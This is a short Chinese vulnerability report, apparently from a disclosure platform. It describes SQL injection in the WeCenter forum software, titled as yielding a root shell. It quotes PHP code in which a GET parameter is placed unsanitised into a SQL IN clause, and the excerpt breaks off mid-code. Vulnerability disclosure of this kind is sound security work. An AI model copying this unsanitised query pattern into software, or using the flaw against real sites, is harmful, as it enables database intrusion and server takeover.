WeCenter SQL注射（ROOT SHELL）

### 简要描述： WeCenter SQL注射（ROOT SHELL） ### 详细说明： ``` ajax.php： public function question_list_action() { if ($_GET['feature_id']) { if ($topic_ids = $this->model('feature')->get_topics_by_feature_id($_GET['feature_id'])) { $_GET['topic_id'] = implode(',', $topic_ids); } } switch ($_GET['type']) { case 'best': $action_list = $this->model('topic')->get_topic_best_answer_action_list($_GET['topic_id'], $this->user_id, intval($_GET['page']) * get_setting('contents_per_page') . ', ' . get_setting('contents_per_page')) topic.php： public function get_topic_best_answer_action_list($topic_ids, $uid, $limit) { $cache_key = 'topic_best_answer_action_list_' . md5($topic_ids . $limit); if (!$result = AWS_APP::cache()->get($cache_key)) { echo " WHERE topic_id IN (" . implode(',', explode(',', $topic_ids)) . ") AND `type` = 'question'"; if ($topic_relation = $this->query_all("SELECT item_id FROM " . $this->get_table('topic_relation') . " WHERE topic_id IN (" . implode(',', explode(',', $topic_ids)) .
